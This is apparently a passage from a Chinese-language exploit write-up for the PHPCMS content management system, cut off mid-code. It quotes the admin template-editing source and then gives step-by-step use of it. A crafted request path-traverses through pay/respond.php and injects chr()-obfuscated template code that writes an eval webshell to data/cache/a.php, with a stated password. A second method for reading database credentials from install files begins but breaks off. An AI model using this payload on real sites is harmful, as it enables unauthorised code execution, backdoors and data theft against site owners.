$projectname = $projects[$project] ? $projects[$project] : $project; $names = cache_read(\'name.inc.php\', $templatedir); $variable = array(\'0\'=>\'请选择类型\',\'PHPCMS\'=>\'$PHPCMS\', \'CATEGORY\'=>\'$CATEGORY\', \'MODULE\'=>\'$MODULE\',\'MODEL\'=>\'$MODEL\', \'member\'=>\'用户变量\'); $action = $action ? $action : \'manage\'; switch($action) { case \'add\': case \'edit\': if(!isset($template)) showmessage(\'参数错误!\'); $filename = $template.\'.html\'; $filepath = $templatedir.$filename; $templatenames = include TPL_ROOT.$project.\'/\'.$module.\'/\'.\'name.inc.php\'; if(!is_writeable($filepath)) showmessage(\'模板目录 \'.$filepath.\' 不可写!请先通过FTP设置为 777,再进行在线编辑。\'); if($dosubmit) { file_put_contents($filepath, new_stripslashes($content)); template_compile($module, $template); $names[$filename] = $templatename; cache_write(\'name.inc.php\', $names, $templatedir); showmessage(\'模板修改成功!\', $forward); }
基于以上的代码分析,我们可以利用该文件来直接修改模版,根据phpcms的模版引擎写入一段可以getwebshell的代码到模版文件中,然后通过前台触发执行写入代码的模版。利用方式如下:
1、注册一个用户
2、访问如下连接
/pay/respond.phpay/respond.php?code=../../../admin/template.inc&action=edit&template=rss&save=1&referer=&template=rss&project=default&module=phpcms&templatename=网站首页&addtag=0&tagname=请输入标签名&content={php fputs(fopen(chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112),w),chr(60).chr(63).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(97).chr(93).chr(41).chr(59).chr(63).chr(62));}&selectmodule=phpcms&variable=PHPCMS&dosubmit= 保存
3、访问/rss.php
4、后门在data/cache/a.php 密码是a
利用方式二:获取数据库连接信息
这个方法利用了install目录下的文件 step6.tpl.php,代码如下:
- <?php include PHPCMS_ROOT.\'install/header.tpl.php\';?>
- <div class="content">
- <form id="install" name=